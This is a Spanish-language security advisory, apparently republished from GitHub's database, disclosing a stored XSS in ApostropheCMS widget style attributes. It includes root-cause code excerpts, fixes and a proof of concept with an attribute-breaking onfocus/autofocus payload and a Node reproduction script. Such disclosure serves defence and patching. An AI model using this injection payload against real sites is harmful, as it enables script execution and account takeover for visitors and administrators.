ApostropheCMS: XSS persistente mediante serialización de atributos de estilo de widget sin escapar
Resumen
Los estilos de widget de ApostropheCMS admiten campos de esquema definidos por el proyecto. Si un proyecto define un campo de estilo de forma libre string con una propiedad CSS property y sin selector, el valor controlado por el editor se renderiza como una declaración CSS en línea. La declaración resultante se inserta posteriormente en el atributo style="..." del contenedor del widget sin escapar los atributos HTML.
Un atacante con permisos para editar el widget puede incluir comillas dobles en el valor del estilo, cerrar el atributo style e inyectar nuevos atributos de control de eventos HTML. La carga útil se almacena con el widget y se ejecuta en el origen del sitio de Apostrophe cada vez que se renderiza la página publicada afectada.
Esta vulnerabilidad está emparentada con CVE-2026-33889 / GHSA-97v6-998m-fp4g. El problema anterior permitía salir de un elemento <style> mediante un valor de color malicioso. Esta variante alcanza un destino diferente relacionado con los atributos en línea style y class generados automáticamente en el contenedor del widget.
Detalles
Causa raíz 1: Los valores de estilo de cadena de texto libre conservan los metacaracteres HTML
El convertidor estándar de campos de cadena utiliza launder.string() y validación de longitud. Esto realiza una normalización de tipos, pero no una codificación de salida para el contexto de un atributo HTML:
packages/apostrophe/modules/@apostrophecms/schema/lib/addFieldTypes.js:296-333
self.addFieldType({
name: 'string',
// ...
convert(req, field, data, destination) {
destination[field.name] = self.apos.launder.string(data[field.name]);
destination[field.name] = checkStringLength(
destination[field.name],
field.min,
field.max
);
}
});
Por lo tanto, las comillas permanecen en el valor suministrado a través del campo de estilo.
Causa raíz 2: El valor se convierte en CSS en línea sin validación de contenido
Para un campo con property pero sin selector ni consultas de medios (media queries), renderScopedStyles() selecciona la renderización en línea. El extractor genérico concatena la propiedad configurada con el valor controlado por el editor:
packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:171-228
packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:598-647
rule = `${property}: ${normalized.value}${normalized.unit}`;
// ...
if (isInline) {
return {
css: '',
classes: [ ...storage.classes ],
inline: stringifyRules(storage.styles, true)
};
}
Por ejemplo, el siguiente valor pasa a formar parte de una declaración font-family:
serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed'
Causa raíz 3: Los valores de los atributos se serializan sin escape HTML
getWidgetAttributes() sitúa el CSS en línea en una tupla de atributos y luego concatena cada tupla en key="value" sin codificar &, <, >, ' o ":
packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js:251-322
if (styleParts.length) {
attrs.push(
[ 'style', `${styleParts.join(';')};` ]
);
}
if (options.asObject) {
return Object.fromEntries(attrs);
}
return attrs
.map(([ key, value ]) => `${key}="${value}"`)
.join(' ');
El mismo serializador en bruto convierte también un estilo string de forma libre definido por el proyecto con class: true en una vía potencialmente vulnerable, ya que la cadena se añade a classes y más tarde se serializa en class="...". La vía de la propiedad en línea fue la que se verificó dinámicamente.
Causa raíz 4: La cadena insegura es utilizada por el contenedor público automático
Los widgets con estilos usan getWidgetAttributes() para crear un contenedor alrededor del widget renderizado:
packages/apostrophe/modules/@apostrophecms/widget-type/index.js:448-457
if (hasStyles && self.options.stylesWrapper !== false) {
const styles = self.apos.styles.prepareWidgetStyles(widget);
const styleTag = self.apos.styles
.getWidgetElements(styles, { scene: req.scene });
const wrapperAttrs = self.apos.styles.getWidgetAttributes(styles);
return `${styleTag}<div${wrapperAttrs ? ' ' + wrapperAttrs : ''}>${markup}</div>`;
}
En consecuencia, el atributo inyectado está presente en las renderizaciones públicas normales de la página y no únicamente en la interfaz de edición.
Por qué la defensa de CVE-2026-33889 no previene esta variante
El aviso relacionado conllevó una defensa en getWidgetElements() que reescribe </ antes de que el CSS se inserte en un elemento <style>:
css = css.replaceAll('</', '<\\/');
Esto protege el límite del elemento de estilo. Sin embargo, la ruta vulnerable descrita produce una salida inline en lugar de css, por lo que nunca alcanza dicho reemplazo.
Configuraciones y versiones afectadas
La configuración verificada cumple con todas las propiedades siguientes:
- Un widget define un campo de estilo con un tipo de forma libre como
string. - El campo usa
propertysin un selector, lo que provoca la representación del estilo en línea, o usaclass: truecon un valor de cadena sin restricciones. - El atacante tiene permisos para editar un widget que contiene dicho campo.
- El contenido malicioso se publica o un usuario con mayores privilegios visualiza el borrador afectado.
Los ajustes predefinidos estándar de tipo range, select y color no proporcionan directamente un valor con comillas sin restricciones y no se demostró que estuvieran afectados por esta variante.
Prueba de concepto
Paso 1: Configurar un widget con un estilo en línea de forma libre
Añada un campo de estilo similar al siguiente en un módulo de widget:
module.exports = {
extend: '@apostrophecms/widget-type',
options: {
label: 'Style Attribute Test'
},
styles: {
add: {
customFont: {
type: 'string',
label: 'Custom Font',
property: 'font-family'
}
}
}
};
La ausencia de selector provoca que la declaración generada se procese en línea.
Paso 2: Almacenar la carga útil
Inicie sesión como un usuario con permisos para editar este widget, introduzca el siguiente valor en customFont y guarde el widget:
serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed'
Publique la página o haga que otro usuario visualice el borrador afectado.
Paso 3: Reproducir la salida del renderizador directamente
El flujo de datos vulnerable también se puede reproducir utilizando el renderizador y serializador reales a partir de un repositorio descargado y con las dependencias instaladas:
const methodsFactory = require(
'./packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js'
);
(async () => {
const { renderScopedStyles } = await import(
'./packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs'
);
const payload =
'serif" tabindex="0" autofocus ' +
'onfocus="document.body.dataset.inline=\'executed\'';
const styles = renderScopedStyles(
[ {
name: 'customFont',
type: 'string',
property: 'font-family'
} ],
{ customFont: payload }
);
Object.assign(styles, {
styleId: 'audit-inline',
widgetId: 'widget-1'
});
const attrs = methodsFactory({}, {}).getWidgetAttributes(styles);
console.log('inline:', styles.inline);
console.log('attributes:', attrs);
})();
Paso 4: Observar el HTML inseguro
El renderizador actual produjo:
inline: font-family: serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed';
A continuación, el serializador produjo una cadena de atributos equivalente a:
id="audit-inline"
data-apos-widget-style-wrapper-for="widget-1"
data-apos-widget-style-classes=""
style="font-family: serif" tabindex="0" autofocus
onfocus="document.body.dataset.inline='executed';"
La comilla controlada por el atacante cierra el atributo style. tabindex, autofocus y onfocus se convierten en atributos activos independientes.
Paso 5: Confirmar la ejecución en un navegador
Cuando el contenedor generado se cargó en Chrome 153, la directiva autofocus activó el controlador inyectado automáticamente. El DOM cambió a:
<body data-inline="executed">
<div id="audit-inline" tabindex="0" autofocus="" onfocus="..."></div>
</body>
El comportamiento seguro consistiría en que las comillas aparecieran representadas como " dentro del atributo style, sin atributos inyectados y sin alteraciones en document.body.dataset.
Impacto
- XSS persistente en páginas publicadas: El código JavaScript se ejecuta para visitantes no autenticados que carguen una página que contenga el widget afectado.
- Escalada de privilegios: Si un administrador u otro editor privilegiado visualiza la página o el borrador, la carga útil se ejecuta con los privilegios de origen de la aplicación de ese usuario y puede realizar acciones autenticadas en su nombre.
- Manipulación persistente de contenido: La carga útil se almacena junto con el contenido del widget y continúa ejecutándose hasta que se elimine el valor del estilo o se corrija la ruta de salida.
- Phishing y acceso a datos: El script puede alterar la página mostrada, leer datos del mismo origen no protegidos por HttpOnly y emitir peticiones en el mismo origen en nombre de la víctima.
Solución recomendada
Corrección 1: Escapar en HTML todos los valores de atributos que devuelvan cadenas
La rama de cadenas de getWidgetAttributes() debería codificar los valores para un contexto de atributos HTML con comillas dobles antes de la concatenación. Como mínimo, codifique &, <, >, " y ' utilizando un codificador HTML centralizado de Apostrophe.
Conceptualmente:
if (options.asObject) {
return Object.fromEntries(attrs);
}
return attrs
.map(([ key, value ]) => {
return `${key}="${escapeHtmlAttribute(String(value))}"`;
})
.join(' ');
La rama estructurada asObject debe permanecer estructurada para que su renderizador de plantillas/DOM final pueda aplicar la codificación adecuada según el contexto.
Corrección 2: Validar los valores de estilo según la gramática de destino
La codificación de salida es la corrección principal. Como medida de defensa en profundidad:
- Exigir tipos select/range/color u otros tipos restringidos para las propiedades CSS comunes.
- Analizar y validar los valores de las propiedades CSS de formato libre en lugar de tratarlos como cadenas arbitrarias.
- Para
class: true, aceptar únicamente tokens de nombres de clase válidos e individuales en lugar de una cadena sin restricciones.
Qué hacer
Actualice el paquete apostrophe a la versión 4.34.0 o superior.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | apostrophe | < 4.34.0 | 4.34.0 |
Referencias
- https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-7jg5-frgc-c67w
- https://nvd.nist.gov/vuln/detail/CVE-2026-112958
- https://github.com/apostrophecms/apostrophe/commit/06e4b377f3c360f9e89c32dccd7e505ad5ddf498
- https://github.com/apostrophecms/apostrophe/commit/40b989b1a9dd23d30029b8ce7668634265cfe5ea
- https://github.com/apostrophecms/apostrophe
- https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.34.0
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N- Debilidad (CWE)
CWE-79- Plataforma
- npm
- Paquete
apostrophe- Publicada
- 21.10.2026
- Actualizado
- 21.10.2026 20:23
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-7jg5-frgc-c67w - CC BY 4.0
Historial de vulnerabilidades: apostrophe
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 33
- Primera → última
- 09.2020 10.2026
- Sin corrección
- 4
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 2
- Alta 9
- Media 18
- Baja 4
Divulgaciones por año
- 2020: 2
- 2021: 2
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 29
-
ApostropheCMS: XSS persistente mediante serialización de atributos de estilo de widget sin escapar esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.